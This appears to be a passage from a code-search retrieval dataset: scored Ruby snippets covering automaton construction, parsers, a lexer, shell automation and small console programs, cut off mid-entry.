"def select_new_person(shell, full_name)\n new_entry_regex = /Are you adding .* as a new NEW PERSON \\(the .*\\)\\?/m\n existing_entry_inexact_regex = /NAME: .*\\/\\// # this can be made more precise with /NAME: #{full_name.gsub!(/\\s+/, \"\")\\/\\//\n existing_entry_exact_regex = /Select /\n new_entry = false\n\n shell.wait_for(:output, /Select NEW PERSON NAME:/) do | process, match |\n process.write(\"#{full_name}\\r\")\n end\n\n shell.wait_for(:output, Regexp.union(new_entry_regex, existing_entry_inexact_regex, existing_entry_exact_regex)) do | process, match |\n Chef::Log.debug(\"Matched output: #{match[0]}\")\n if new_entry_regex =~ match[0]\n Chef::Log.debug(\"new_entry_regex matched\")\n process.write(\"Yes\\r\")\n new_entry = true\n end\n if existing_entry_inexact_regex =~ match[0]\n Chef::Log.debug(\"existing_entry_inexact_regex matched\")\n process.write(\"\\r\")\n end\n end\n new_entry\nend", "title": "" }, { "docid": "21c1931401024db552e0a6d0dc631698", "score": "0.47394872", "text": "def accepts; end", "title": "" }, { "docid": "592bc20d2157ed66651aa9f459462c53", "score": "0.4732966", "text": "def accept\n msg = \"\"\n case typesym\n when :share_recipe\n recipe = Recipe.find(info[:what])\n recipe.uid = target_id\n recipe.be_collected\n msg = \"'#{recipe.title}' now appearing in your collection\"\n when :make_friend\n end\n self.accepted = true\n save\n msg\n end", "title": "" }, { "docid": "3558368a18ae5367a313bd0e41340e58", "score": "0.4732654", "text": "def on_string_add(string, part); end", "title": "" }, { "docid": "a6f69b5bf2a83b296856cd4fdd3416a9", "score": "0.4728455", "text": "def check_string\n \nend", "title": "" }, { "docid": "c195293195abd640d140b3190850946f", "score": "0.4727393", "text": "def initialize(str)\n self.original_text = str\n\n if m = REGEXP.match(str)\n @role = m[1] \n @disambiguator= m[2]\n @capture = !! m[3]\n @destination = m[4]\n @promo = m[6]\n @qualifier = m[7]\n @castle = !! m[8]\n @castle_side = m[8].length > 3 ? :queenside : :kingside if m[8]\n\n if @destination && @role.blank?\n @role = :pawn \n else\n @role = ABBREV_TO_ROLE[ @role ]\n end\n\n @promo = ABBREV_TO_ROLE[ @promo ]\n\n else\n $stderr.puts \"SAN::Unrecognized notation #{str}\"\n end\n end", "title": "" }, { "docid": "af87ffd3d4e4347a349382c96306f53d", "score": "0.4724119", "text": "def parse(str)\n # if already after the ##FASTA line, parses fasta format and return\n if @in_fasta then\n parse_fasta(str)\n return self\n end\n\n if str.respond_to?(:gets) then\n # str is a IO-like object\n fst = nil\n else\n # str is a String\n gff, sep, fst = str.split(/^(\\>|##FASTA.*)/n, 2)\n fst = sep + fst if sep == '>' and fst\n str = gff\n end\n\n # parses GFF lines\n str.each_line do |line|\n if /^\\#\\#([^\\s]+)/ =~ line then\n parse_metadata($1, line)\n parse_fasta(str) if @in_fasta\n elsif /^\\>/ =~ line then\n @in_fasta = true\n parse_fasta(str, line)\n else\n @records << GFF3::Record.new(line)\n end\n end\n\n # parses fasta format when str is a String and fasta data exists\n if fst then\n @in_fasta = true\n parse_fasta(fst)\n end\n\n self\n end", "title": "" }, { "docid": "e2dc3c7449c0c2c1107a5382a14a2906", "score": "0.472308", "text": "def test_can_parse_valid_small_dfa\n fa = ADL::parse_automaton <<-AUTOMATON\n 3 4\n 0 true false\n 1 false false\n 2 false true\n 0 1 a\n 1 2 b\n 2 2 a\n 2 1 b\n AUTOMATON\n assert_equal(3, fa.state_count)\n assert_equal(4, fa.edge_count)\n fa.each_state {|s| assert_equal(s.index==0, s.initial?)}\n fa.each_state {|s| assert_equal(s.index==2, s.accepting?)}\n assert_equal(false, fa.accepts?('+'))\n assert_equal(false, fa.accepts?('+ a'))\n assert_equal(true, fa.accepts?('+ a b'))\n assert_equal(true, fa.accepts?('+ a b a'))\n assert_equal(false, fa.accepts?('+ a b a b'))\n assert_equal(true, fa.accepts?('+ a b a a a'))\n assert_equal(true, fa.accepts?('+ a b a a a b b a'))\n assert_equal(true, fa.accepts?('+ a b a a a b b a a a'))\n assert_equal(true, fa.accepts?('+ a b a a a b b a a a b b a'))\n end", "title": "" }, { "docid": "bacc78b98e62e039578925aad2851235", "score": "0.47222883", "text": "def start_matches\n @words = []\n entries = params[:words].split(/\\W+/)\n entries.each do |entry|\n @words.push(Word.new(entry))\n end\n \n unless @words.any?\n flash[:error] = \"No words entered\"\n redirect_to passwords_path and return\n end\n\n lengths = @words.map{|w| w.length }.uniq!\n if lengths.count > 1\n flash.now[:error] = \"Word lengths inconsistent\"\n render action: \"start\" and return\n end\n\n @attempts = 0\n @remaining = 4\n\n @suggestion = suggest(@words)\n end", "title": "" }, { "docid": "1074365748ff053797857972c32ed196", "score": "0.47200906", "text": "def parse_name_initial()\n if @remain =~ /^ - (\\w+ \\w) (.+)$/\n @names += [$1]\n @remain = $2\n register_names()\n true\n else\n false\n end\n end", "title": "" }, { "docid": "51bdc948bf20435062badea351ec9f7c", "score": "0.47069192", "text": "def initialize\n @fraccion1\n @fraccion2\n @resultado\n @problema\n puts \"Inserte la primera fracción: \"\n @fraccion1 = gets.chomp\n puts \"Inserte +,-,*, o, /: \"\n @problema = gets.chomp\n puts \"Inserte la segunda fraccion: \"\n @fraccion2 = gets.chomp \n\n #Aqui se verifica que todo este correcto. Ademas de elegir lo que se desea hacer con la fracciones dadas\n if @fraccion1 == \"\" || $Alphabet.include?(@fraccion1[0]) || $Alphabet.include?(@fraccion1[2])\n puts \"Por favor introduzca valores validos. Deben ser enteros(1) o flotantes(1.0).\"\n elsif @fraccion2 == \"\" || $Alphabet.include?(@fraccion2[0]) || $Alphabet.include?(@fraccion2[2]) \n puts \"Por favor introduzca valores validos. Deben ser enteros(1) o flotantes(1.0).\"\n else\n \"Su resulado es: \"\n case @problema\n when \"+\"\n suma()\n when \"-\"\n resta()\n when \"*\"\n multiplicacion()\n when \"/\"\n division()\n else\n puts \"El simbolo no es valido.\" \n end\n end\n end", "title": "" }, { "docid": "a716356704f4297fceed5236ac43d7f1", "score": "0.4700592", "text": "def fake_input(str)\n return _incoming(str)\n end", "title": "" }, { "docid": "f9a0062e821758e4738093713386b91c", "score": "0.46998173", "text": "def sub_bad_words\n\n end", "title": "" }, { "docid": "73012f72a30b0da9206d05a0b25f77a4", "score": "0.46976155", "text": "def run_generator\n\n puts \"What is the first word to combine?\"\n word_A = gets.chomp\n until word_A.size >= 2 \n puts \"Your word should have at least 2 letters.\"\n word_A = gets.chomp\n end\n\n # First segment of new word\n new_A = \"\"\n \n # If word has no vowels, use entire word\n if word_A.count(\"aeiou\") == 0\n new_A = word_A\n else\n # Select segment from first character to last vowel, exluding last vowel\n i = word_A.length - 1\n word_A.reverse.each_char do |v|\n if is_vowel?(v) == true \n new_A = word_A[0...i]\n break\n end\n i -= 1\n end\n end\n\n # Get input for second part of new word\n puts \"What is the second word to combine?\"\n word_B = gets.chomp\n until word_B.size >= 2\n puts \"Your word should have at least 2 letters.\"\n word_B = gets.chomp\n end\n \n # Second segment of new word\n new_B = \"\"\n \n # If word has no vowels, use entire word\n if word_B.count(\"aeiou\") == 0\n new_B = word_B\n else\n # Select segment from first vowel until the last character\n i = 0\n word_B.each_char do |v|\n if is_vowel?(v) == true\n new_B = word_B[i..-1]\n break\n end\n i += 1\n end\n end \n # Display results\n puts \"The first word is #{word_A}\"\n puts \"The second word is #{word_B}\"\n puts \"Your portmanteu is #{new_A}#{new_B}\"\n\nend", "title": "" }, { "docid": "82fe64216b0d11edf061981465e9cdc7", "score": "0.4693898", "text": "def initialize(files)\n\t\t@dfa = DFA.new(files[0])\n\t\t@dfa2 = DFA.new(files[1]) if files[1] && files[1].class == String\n\tend", "title": "" }, { "docid": "cf5b481f5c8c1ab0070053366177f360", "score": "0.46910405", "text": "def interpreter file\n dfaStack = [ ] \n loop do\n line = file.gets\n if line == nil then break end\n words = line.scan(/\\S+/)\n words.each{ |word|\n case word\n when /DONE/\n return\n when /SIZE/\n f = dfaStack.last\n puts f.num_states\n when /PRINT/\n f = dfaStack.last\n f.pretty_print\n when /STAT/\n f = dfaStack.last\n f.print_stats\n when /DFA/\n f = dfaStack.pop\n f2 = f.to_dfa\n dfaStack.push f2\n when /COMPLEMENT/\n f = dfaStack.pop\n f2 = f.complement!\n dfaStack.push f2\n when /GENSTR([0-9]+)/\n f = dfaStack.last\n puts f.gen_str($1)\n when /\"([a-z]*)\"/\n f = dfaStack.last\n \n str = $1\n if f.accept?(str)\n puts \"Accept #{str}\"\n else\n puts \"Reject #{str}\"\n end\n when /([a-zE])/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = FiniteAutomaton.new\n sym = $1\n sym=\"\" if $1==\"E\"\n f.symbol!(sym)\n dfaStack.push f\n when /\\*/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = dfaStack.pop\n f.closure!\n dfaStack.push f\n when /\\|/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.union!(f1)\n dfaStack.push f2\n when /\\./\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.concat!(f1)\n dfaStack.push f2\n else\n puts \"Ignoring #{word}\"\n end\n }\n end\nend", "title": "" }, { "docid": "2ed8e9de45612b67f5d4c798cbf145e1", "score": "0.46874458", "text": "def to_dfa\n newFA = FiniteAutomaton.new\n processed = {}\n notprocessed = []\n movesLetter = []\n\n #creating my start node\n temp = epsilonClosures(@start)\n \n\n #notprocessed nodes\n notprocessed.push(temp)\n s0 = new_state\n newFA.set_start(s0)\n processed[temp] = s0\n\n \n while notprocessed.any?\n temp2 = notprocessed.pop\n\n @alphabet.each{ |a|\n temp = []\n movesLetter = move(temp2,a)\n\n movesLetter.flatten!\n\n if movesLetter != nil && movesLetter.any?\n movesLetter.each{ |x| movesLetter = movesLetter | epsilonClosures(x)}\n \n \n\n if processed[movesLetter] == nil && movesLetter.size != 0\n notprocessed.push(movesLetter)\n n = new_state\n processed[movesLetter] = n\n end\n newFA.add_transition(processed[temp2],processed[movesLetter],a)\n\n end\n\n }\n \n \n end\n\n\n \n processed.keys.each{|x|\n @final.keys.each{|y| if x.include?(y) then newFA.set_final(processed[x], true) end}\n }\n \n \n @alphabet.each{ |x|\n newFA.alphabet.push(x)}\n\n \n \n newFA\n\n end", "title": "" }, { "docid": "6044f51da07466d3c78272cbd8fa31be", "score": "0.4687149", "text": "def search_action(avengers)\n puts \"\" \n puts \"Who would you like to know more about?\"\n puts \"\"\n \n input = gets.strip\n selected_avenger = find_avenger_by_superhero(avengers, input)\n puts \"\"\n\n if selected_avenger\n puts \"Found #{input}\"\n puts \"-----\"\n\n avenger_bio(selected_avenger)\n else\n puts \"Couldn't find #{input}, try adding them from the main menu.\"\n end\n\n puts \"\"\n main_action(avengers)\nend", "title": "" }, { "docid": "4655c662b0e98e83638fb937d7afe2ac", "score": "0.46841773", "text": "def interpreter file\n dfaStack = [ ] \n loop do\n line = file.gets\n if line == nil then break end\n words = line.scan(/\\S+/)\n words.each{ |word|\n case word\n when /DONE/\n return\n when /SIZE/\n f = dfaStack.last\n puts f.num_states\n when /PRINT/\n f = dfaStack.last\n f.pretty_print\n when /STAT/\n f = dfaStack.last\n f.print_stats\n when /DFA/\n f = dfaStack.pop\n f2 = f.to_dfa\n dfaStack.push f2\n when /COMPLEMENT/\n f = dfaStack.pop\n f2 = f.complement!\n dfaStack.push f2\n when /GENSTR([0-9]+)/\n f = dfaStack.last\n puts f.gen_str($1)\n when /\"([a-z]*)\"/\n f = dfaStack.last\n str = $1\n if f.accept?(str)\n puts \"Accept #{str}\"\n else\n puts \"Reject #{str}\"\n end\n when /([a-zE])/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = FiniteAutomaton.new\n sym = $1\n sym=\"\" if $1==\"E\"\n f.symbol!(sym)\n dfaStack.push f\n when /\\*/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f = dfaStack.pop\n f.closure!\n dfaStack.push f\n when /\\|/\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.union!(f1)\n dfaStack.push f2\n when /\\./\n puts \"Illegal syntax for: #{word}\" if word.length != 1\n f1 = dfaStack.pop\n f2 = dfaStack.pop\n f2.concat!(f1)\n dfaStack.push f2\n else\n puts \"Ignoring #{word}\"\n end\n }\n end\nend", "title": "" }, { "docid": "6b68a7efd81070512335feb2eeb407d0", "score": "0.46815094", "text": "def agent_name_maker\n\tagent_aliases = {}\n\n\tdef reverse_name(true_name)\n\t\tfirst_and_last = true_name.split(' ')\n\t\tfirst_name = first_and_last[0]\n\t\tlast_name = first_and_last[-1]\n\t\tfirst_and_last[0] = last_name\n\t\tfirst_and_last[-1] = first_name\n\t\tfirst_and_last.join(' ')\n\tend\t\n\n\n\n\tdef next_vowel(true_name)\n\t\t\tvowels = 'aeiou'\n\t\t\t\n\n\t\ti = 0\n\t\twhile i < true_name.length\n\n\t\t\tif vowels.include?(true_name[i])\n\t\t\t\tindex = vowels.index(true_name[i])\n\n\t\t\t\tif index == 4\n\t\t\t\t\tnext_v = vowels[0]\n\t\t\t\telse\n\t\t\t\t\tnext_v = vowels[index + 1]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\ttrue_name[i] = next_v\n\t\t\telse\n\t\t\t\tif true_name[i] == 'z'\n\t\t\t\t\ttrue_name[i] = 'a'\n\t\t\t\telsif\n\t\t\t\t\ttrue_name[i] != ' '\n\t\t\t\t\ttrue_name[i] = true_name[i].next\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\ti += 1\n\t\tend\t\t\t\n\n\ttrue_name\n\t\n\tend\n\n\n# create user interface that allows user to keep entering true name and returning reversed agent name\n# input quit to exit program\n\n\n\n\tdef all_agent_aliases(agent_aliases)\n\t\tagent_aliases.each do |true_name, key|\n\t\t\tputs \"#{key} is also known as #{true_name}\"\n\t\tend\n\tend\n\n\tfinished = false\n\twhile finished == false\n\t\tputs \"Hello agent, please enter your true name or enter \\'quit\\' to exit.\"\n\t\ttrue_name = gets.chomp\n\t\tkey = true_name\t\n\t\tif true_name == 'quit' || true_name == ''\n\t\t\tfinished = true\n\t\t\tall_agent_aliases(agent_aliases)\n\t\t\tbreak\n\t\telse\n\t\t\ttrue_name = reverse_name(true_name)\n\t\t\ttrue_name = next_vowel(true_name)\n\t\t\tputs true_name\n\t\t\tputs \"Thank you.\"\n\t\t\tagent_aliases[key.to_sym] = true_name\n\t\tend\n\tend\nend", "title": "" }, { "docid": "b5432e27102c14411793d416520aa36a", "score": "0.46805203", "text": "def parse(text)\n super(text).each { |word| self << word }\n end", "title": "" }, { "docid": "188889253074002a3f19e51613b8be5b", "score": "0.4673166", "text": "def scan(string); end", "title": "" }, { "docid": "164af2567ebfd5f37e11b6d809bf48a0", "score": "0.46613193", "text": "def matches\n post_process(candidate.empty? ? completions : completions.select { |c| c.start_with?(candidate) })\n end", "title": "" }, { "docid": "967a6a457ed0445ece0cdce375c59e4a", "score": "0.46562392", "text": "def feed(string)\r\n super\r\n while @saved.size > 0\r\n saved = @saved\r\n @saved = ''\r\n super(saved)\r\n end\r\n end", "title": "" }, { "docid": "1b254a77725024b82f30fe58210ad377", "score": "0.46543324", "text": "def stringATokens(stringLinea, fila, listaExpRegulares, hashTokens)\n\tlistaTokens = []\n\tcolaTuplas = Queue.new()\n\ttuplaInicial = Tupla.new(stringLinea, 1)\n\tcolaTuplas.push(tuplaInicial)\n\twhile (not colaTuplas.empty?())\n\t\ttuplaAux = colaTuplas.pop()\n\t\tif (listaExpRegulares[0].match(tuplaAux.get_frase()) != nil)\n\t\t\tmatchToken = listaExpRegulares[0].match(tuplaAux.get_frase())\n\t\t\tposMatchToken = (listaExpRegulares[0] =~ tuplaAux.get_frase()) + tuplaAux.get_columna()\n\t\t\tif ((matchToken[0].length == 3) or (hashTokens.has_key?(matchToken[0])))\n\t\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\t\tend\n\t\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length())\n\t\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\t\tend\n\t\t\t\ttokenAux = Token.new(matchToken[0], \"TkCaracter\", fila, posMatchToken)\n\t\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\t\telsif(matchToken[0].length == 2)\n\t\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\t\tend\n\t\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length)\n\t\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\t\tend\n\t\t\t\ttokenAux = Token.new(matchToken[0][1], \"Error\", fila, posMatchToken + 1)\n\t\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\t\telse\n\t\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\t\tend\n\t\t\t\tmatchError = matchToken[0]\n\t\t\t\tmatchError.slice!(0..2)\n\t\t\t\tif (matchToken.post_match != \"\" or matchError.length > 0) \n\t\t\t\t\ttuplaPostMatch = Tupla.new(matchError + matchToken.post_match, posMatchToken + 3)\n\t\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\t\tend\n\t\t\t\ttokenAux = Token.new(matchToken[0][2], \"Error\", fila, tuplaAux.get_columna() + 2)\n\t\t\t\tlistaTokens.insert(-1, tokenAux)\t\n\t\t\tend\n\t\telsif (listaExpRegulares[1].match(tuplaAux.get_frase()) != nil)\n\t\t\tmatchToken = listaExpRegulares[1].match(tuplaAux.get_frase())\n\t\t\tposMatchToken = (listaExpRegulares[1] =~ tuplaAux.get_frase()) + tuplaAux.get_columna()\n\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\tend\n\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length())\n\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\tend\n\t\t\tif (hashTokens.has_key?(matchToken[0]))\n\t\t\t\ttokenAux = Token.new(matchToken[0], hashTokens[matchToken[0]], fila, posMatchToken)\n\t\t\telse\n\t\t\t\ttokenAux = Token.new(matchToken[0], \"TkId\", fila, posMatchToken)\n\t\t\tend\n\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\telsif (listaExpRegulares[2].match(tuplaAux.get_frase()) != nil)\n\t\t\tmatchToken = listaExpRegulares[2].match(tuplaAux.get_frase())\n\t\t\tposMatchToken = (listaExpRegulares[2] =~ tuplaAux.get_frase()) + tuplaAux.get_columna()\n\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\tend\n\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length())\n\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\tend\n\t\t\ttokenAux = Token.new(matchToken[0], \"TkNum\", fila, posMatchToken)\n\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\telsif (listaExpRegulares[3].match(tuplaAux.get_frase()) != nil)\n\t\t\tmatchToken = listaExpRegulares[3].match(tuplaAux.get_frase())\n\t\t\tposMatchToken = (listaExpRegulares[3] =~ tuplaAux.get_frase()) + tuplaAux.get_columna()\n\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\tend\n\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length())\n\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\tend\n\t\t\ttokenAux = Token.new(matchToken[0], hashTokens[matchToken[0]], fila, posMatchToken)\n\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\telsif (listaExpRegulares[4].match(tuplaAux.get_frase()) != nil)\n\t\t\tmatchToken = listaExpRegulares[4].match(tuplaAux.get_frase())\n\t\t\tposMatchToken = (listaExpRegulares[4] =~ tuplaAux.get_frase()) + tuplaAux.get_columna()\n\t\t\tif (matchToken.pre_match != \"\")\n\t\t\t\ttuplaPreMatch = Tupla.new(matchToken.pre_match, tuplaAux.get_columna())\n\t\t\t\tcolaTuplas.push(tuplaPreMatch)\n\t\t\tend\n\t\t\tif (matchToken.post_match != \"\") \n\t\t\t\ttuplaPostMatch = Tupla.new(matchToken.post_match, posMatchToken + matchToken[0].length())\n\t\t\t\tcolaTuplas.push(tuplaPostMatch)\n\t\t\tend\n\t\telse\n\t\t\tmatchError = tuplaAux.get_frase()\n\t\t\ttokenAux = Token.new(matchError.slice!(0), \"Error\", fila, tuplaAux.get_columna())\n\t\t\tlistaTokens.insert(-1, tokenAux)\n\t\t\tif (matchError.length() > 0)\n\t\t\t\ttuplaError = Tupla.new(matchError, tuplaAux.get_columna() + 1)\n\t\t\t\tcolaTuplas.push(tuplaError)\n\t\t\tend\n\t\tend\n\tend\n\treturn listaTokens\nend", "title": "" }, { "docid": "313d86053c7a37b3a055bdba9352a81e", "score": "0.46471807", "text": "def learn(string)\n @knowledge << string\n end", "title": "" }, { "docid": "313d86053c7a37b3a055bdba9352a81e", "score": "0.46471807", "text": "def learn(string)\n @knowledge << string\n end", "title": "" }, { "docid": "12c6b31581bbb630d0420025d54e4176", "score": "0.46429482", "text": "def add_str(text)\n\t\tset = text.split\n\t\tset.each_index do |i|\n\t\t\tif i < set.length - 2 then add_set set[i],set[i+1],set[i+2] end\n\t\tend\n\tend", "title": "" }, { "docid": "8217a691c5b3c62b8f82c150b2d14c83", "score": "0.46421263", "text": "def test_add_states1a\n assert_equal(false, @dfa.accepts?('?'))\n small_init = @dfa.add_automaton(@small)\n @dfa.connect(@dfa.initial_state,small_init,'c')\n\n assert_equal(4, @dfa.state_count)\n assert_equal(6, @dfa.edge_count)\n\n check_dfa_unchanged(@dfa)\n assert_equal(true, @dfa.accepts?('? c'))\n assert_equal(true, @dfa.accepts?('? c a a a'))\n assert_equal(false, @dfa.accepts?('? c a a b a'))\n\n assert_raise ArgumentError do\n @dfa.get_state('S') # non-existing state\n end\n\n end", "title": "" }, { "docid": "7af31eb77d60fb6a1781121cf33ec417", "score": "0.46397302", "text": "def examine( text )\r\n\t\tend", "title": "" }, { "docid": "9ce31dd498e692c7836d2819a64a5c94", "score": "0.46281144", "text": "def grammerChecker\n\n#CALL THE OTHER FUNCTION\ncheckTo#should be rename to actual start or something\n\n\nend", "title": "" }, { "docid": "bae064aeeab7d37cb5c85b967947d3de", "score": "0.46238655", "text": "def test_it_can_suggest_mid_strings\n cm = CompleteMe.new\n file = \"dog\\ncat\\nbear\\nmonkey\\ncattle\\ncattles\"\n cm.populate(file)\n\n suggestions = cm.mid_string_suggest(\"ttl\")\n assert_equal [\"cattle\", \"cattles\"], suggestions\n end", "title": "" }, { "docid": "0a77107ee569c67a3622253ebf5b01ac", "score": "0.46223095", "text": "def match(input); end", "title": "" }, { "docid": "cc3c907ab3105e0585368ddd208207f0", "score": "0.461766", "text": "def find_new_dfastates_and_add_dfatransitions(d)\n # System.out.println(\"work on DFA state \"+d);\n labels = d.get_reachable_labels\n # System.out.println(\"reachable labels=\"+labels);\n # System.out.println(\"|reachable|/|nfaconfigs|=\"+\n # labels.size()+\"/\"+d.getNFAConfigurations().size()+\"=\"+\n # labels.size()/(float)d.getNFAConfigurations().size());\n # normally EOT is the \"default\" clause and decisions just\n # choose that last clause when nothing else matches. DFA conversion\n # continues searching for a unique sequence that predicts the\n # various alts or until it finds EOT. So this rule\n # \n # DUH : ('x'|'y')* \"xy!\";\n # \n # does not need a greedy indicator. The following rule works fine too\n # \n # A : ('x')+ ;\n # \n # When the follow branch could match what is in the loop, by default,\n # the nondeterminism is resolved in favor of the loop. You don't\n # get a warning because the only way to get this condition is if\n # the DFA conversion hits the end of the token. In that case,\n # we're not *sure* what will happen next, but it could be anything.\n # Anyway, EOT is the default case which means it will never be matched\n # as resolution goes to the lowest alt number. Exit branches are\n # always alt n+1 for n alts in a block.\n # \n # When a loop is nongreedy and we find an EOT transition, the DFA\n # state should become an accept state, predicting exit of loop. It's\n # just reversing the resolution of ambiguity.\n # TODO: should this be done in the resolveAmbig method?\n eotlabel = Label.new(Label::EOT)\n contains_eot = !(labels).nil? && labels.contains(eotlabel)\n if (!@dfa.is_greedy && contains_eot)\n convert_to_eotaccept_state(d)\n return # no more work to do on this accept state\n end\n # if in filter mode for lexer, want to match shortest not longest\n # string so if we see an EOT edge emanating from this state, then\n # convert this state to an accept state. This only counts for\n # The Tokens rule as all other decisions must continue to look for\n # longest match.\n # [Taking back out a few days later on Jan 17, 2006. This could\n # be an option for the future, but this was wrong soluion for\n # filtering.]\n # if ( dfa.nfa.grammar.type==Grammar.LEXER && containsEOT ) {\n # String filterOption = (String)dfa.nfa.grammar.getOption(\"filter\");\n # boolean filterMode = filterOption!=null && filterOption.equals(\"true\");\n # if ( filterMode && d.dfa.isTokensRuleDecision() ) {\n # DFAState t = reach(d, EOTLabel);\n # if ( t.getNFAConfigurations().size()>0 ) {\n # convertToEOTAcceptState(d);\n # //System.out.println(\"state \"+d+\" has EOT target \"+t.stateNumber);\n # return;\n # }\n # }\n # }\n number_of_edges_emanating = 0\n target_to_label_map = HashMap.new\n # for each label that could possibly emanate from NFAStates of d\n num_labels = 0\n if (!(labels).nil?)\n num_labels = labels.size\n end\n i = 0\n while i < num_labels\n label = labels.get(i)\n t = reach(d, label)\n if (self.attr_debug)\n System.out.println(\"DFA state after reach \" + RJava.cast_to_string(label) + \" \" + RJava.cast_to_string(d) + \"-\" + RJava.cast_to_string(label.to_s(@dfa.attr_nfa.attr_grammar)) + \"->\" + RJava.cast_to_string(t))\n end\n if ((t).nil?)\n # nothing was reached by label due to conflict resolution\n # EOT also seems to be in here occasionally probably due\n # to an end-of-rule state seeing it even though we'll pop\n # an invoking state off the state; don't bother to conflict\n # as this labels set is a covering approximation only.\n i += 1\n next\n end\n # System.out.println(\"dfa.k=\"+dfa.getUserMaxLookahead());\n if ((t.get_unique_alt).equal?(NFA::INVALID_ALT_NUMBER))\n # Only compute closure if a unique alt number is not known.\n # If a unique alternative is mentioned among all NFA\n # configurations then there is no possibility of needing to look\n # beyond this state; also no possibility of a nondeterminism.\n # This optimization May 22, 2006 just dropped -Xint time\n # for analysis of Java grammar from 11.5s to 2s! Wow.\n closure(t) # add any NFA states reachable via epsilon\n end\n # System.out.println(\"DFA state after closure \"+d+\"-\"+\n # label.toString(dfa.nfa.grammar)+\n # \"->\"+t);\n # add if not in DFA yet and then make d-label->t\n target_state = add_dfastate_to_work_list(t)\n number_of_edges_emanating += add_transition(d, label, target_state, target_to_label_map)\n # lookahead of target must be one larger than d's k\n # We are possibly setting the depth of a pre-existing state\n # that is equal to one we just computed...not sure if that's\n # ok.\n target_state.set_lookahead_depth(d.get_lookahead_depth + 1)\n i += 1\n end\n # System.out.println(\"DFA after reach / closures:\\n\"+dfa);\n if (!d.is_resolved_with_predicates && (number_of_edges_emanating).equal?(0))\n # System.out.println(\"dangling DFA state \"+d+\"\\nAfter reach / closures:\\n\"+dfa);\n # TODO: can fixed lookahead hit a dangling state case?\n # TODO: yes, with left recursion\n # System.err.println(\"dangling state alts: \"+d.getAltSet());\n @dfa.attr_probe.report_dangling_state(d)\n # turn off all configurations except for those associated with\n # min alt number; somebody has to win else some input will not\n # predict any alt.\n min_alt = resolve_by_picking_min_alt(d, nil)\n # force it to be an accept state\n # don't call convertToAcceptState() which merges stop states.\n # other states point at us; don't want them pointing to dead states\n d.set_accept_state(true) # might be adding new accept state for alt\n @dfa.set_accept_state(min_alt, d)\n # convertToAcceptState(d, minAlt); // force it to be an accept state\n end\n # Check to see if we need to add any semantic predicate transitions\n if (d.is_resolved_with_predicates)\n add_predicate_transitions(d)\n end\n end", "title": "" }, { "docid": "5432b4946efb2de351683be436b0b83d", "score": "0.46151942", "text": "def in_string?; end", "title": "" }, { "docid": "5432b4946efb2de351683be436b0b83d", "score": "0.46151942", "text": "def in_string?; end", "title": "" }, { "docid": "55749c42658ef4bc259434ab09fa4f9b", "score": "0.46120384", "text": "def initialize(items)\n @entered_word = items.downcase.split('')\n @attempts = 0\n end", "title": "" }, { "docid": "2a66c4286fb312ffd4b2932684c70812", "score": "0.46073398", "text": "def initialize(clue, wrong_letters)\n @clue = clue.to_s.downcase\n @wrong_letters = wrong_letters\n @letter_counts = {}\n @possible_words = []\n @used_letters = @clue.split(//).reject { |c| c == \"_\" }\n end", "title": "" }, { "docid": "fd46a63e012387754a4acd5452789e5d", "score": "0.46042657", "text": "def pantsParty(str)\n\nend", "title": "" }, { "docid": "73031c0d087f8e98c4cc206aee660616", "score": "0.4603466", "text": "def fake_name (real_name)\n\t\t# Split string into array of 